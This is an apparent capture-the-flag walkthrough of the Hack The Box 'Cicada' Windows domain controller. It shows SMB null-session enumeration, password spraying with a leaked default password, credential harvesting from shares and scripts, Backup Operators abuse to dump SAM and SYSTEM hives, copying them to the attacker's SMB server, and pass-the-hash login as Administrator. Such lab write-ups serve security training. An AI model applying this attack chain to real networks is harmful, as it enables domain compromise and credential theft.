

CICADA

NMAP

PORT	STATE	SERVICE
53/tcp	open	domain
88/tcp	open	kerberos-sec
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
389/tcp	open	ldap
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd5
593/tcp	open	http-rpc-epmap
636/tcp	open	ldaps
3268/tcp	open	globalcatLDAP
3269/tcp	open	globalcatLDAPssl
5985/tcp	open	wsman
50593/tcp	open	unknown

CONNECTING TO SMB

LISTING THE SHARES WITH NULL SESSION

```

Password for [WORKGROUP\root]:
Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
DEV           Disk
HR            Disk
IPC$          IPC        Remote IPC
NETLOGON       Disk      Logon server share
SYSVOL        Disk      Logon server share
Reconnecting with SMB1 for workgroup listing
CONNECTING TO SMB
LISTING THE SHARES WITH NULL SESSION
```

CONNECTING TO THE HR SHARE

```
(root@kali)-[/home/user/HTB/cicada]
# smbclient //10.10.11.35/HR
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands
smb: \> ls
. D
.. D
Notice from HR.txt A
get *
4168447 blocks of size 4
smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size
smb: \> █
```

WE HAVE NOTICE FILE FROM HR AFTER READING THIS WE HAVE.

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada\$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

AND WE HAVE A PASSWORD : Cicada\$M6Corpb*@Lp#nZp!8

ENUMRATING USERS

```
nxc smb 10.10.11.35 -u '' -p '' --rid-brute
```

AND WE HAVE SOME USERS

```
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
```

ADDING THIS USERS TO FILE AND ATTEMPTING TO PASSWORD USING THE ABOVE PASSWORD.

```
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (d
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATU
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STAT
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
```

MORE ENUM

NOW ENUMERATING MORE USING THE ABOVE CREDs

```
SMB 10.10.11.35 445 CICADA-DC david.orelious 2024-03-14 12:17:29 0 Just in c
ase I forget my password is aRt$Lp#7t*VQ!3
```

NOW CONNECTING TO THE DEV SHARE USING THE ABOVE CREDs

```
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 18:01:39 2024
.. D 0 Thu Mar 14 17:51:29 2024
Backup_script.ps1 A 601 Wed Aug 28 22:58:22 2024
nget
```

WE HAVE A BACKUP SCRIPT.

```
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
```

```

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmms"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

```

WE HAVE SOME MORE CREDs

NOW CONNECTING TO THE MACHINE USING evil-winrm

```

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls

Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----         4/9/2025  11:37 AM             34 user.txt

```

POST EXPLOITATION

WITH THE COMMAND whoami /all

```

GROUP INFORMATION
-----
Group Name                                Type                SID                Attributes
-----
Everyone                                  Well-known group    S-1-1-0            Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                  Alias               S-1-5-32-551       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users           Alias               S-1-5-32-580       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                             Alias               S-1-5-32-545       Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access   Alias               S-1-5-32-574       Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias               S-1-5-32-554       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                      Well-known group    S-1-5-2            Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group    S-1-5-11           Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group    S-1-5-15           Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group    S-1-5-64-10        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level      Label               S-1-16-12288

```

```

PRIVILEGES INFORMATION
-----
Privilege Name                Description                State
-----
SeBackupPrivilege             Back up files and directories Enabled
SeRestorePrivilege            Restore files and directories Enabled
SeShutdownPrivilege           Shut down the system       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

```

WE SEE THE USER IS THE MEMBER OF BACKUP OPERATORS

NOW WE WILL GET THE sam and system file and try to crack the hash

```

The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> reg.exe save hklm\system C:\system.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> reg.exe save hklm\security C:\security.save
reg.exe : ERROR: Access is denied.

+ CategoryInfo          : PermissionDenied: (C:\sam.save:FileInfo) [Move-FileItemUnauthorizedAccessError, Microsoft.Win32.SafeHandles.SafeFileHandle]
+ FullyQualifiedErrorId : MoveFileItemUnauthorizedAccessError,Microsoft.Win32.SafeHandles.SafeFileHandle

*Evil-WinRM* PS C:\> move sam.save \\10.10.16.11/CompData
*Evil-WinRM* PS C:\> move system.save \\10.10.16.11/CompData
*Evil-WinRM* PS C:\> move security.save \\10.10.16.11/CompData

```

SENDING TO MY SMB SERVER

NOW DUMPING THE HASHED USING THE secretsdump.py.

WE GET

```

(root@kali)-[/home/user/HTB/cicada]
# impacket-secretsdump -sam sam.save -system system.save LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information
[*] Cleaning up ...

```

NOW USING THE HASH WE WILL TRY TO LOGIN WITH THE HASHED PASSWORD

```

(root@kali)-[/home/user/HTB/cicada]
# evil-winrm -i 10.10.11.35 -u 'Administrator' -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ld
The term 'ld' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or
d, verify that the path is correct and try again.
At line:1 char:1
+ ld
+ ~
+ CategoryInfo          : ObjectNotFound: (ld:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-rw-r--r--        4/9/2025  11:37 AM              34 root.txt

```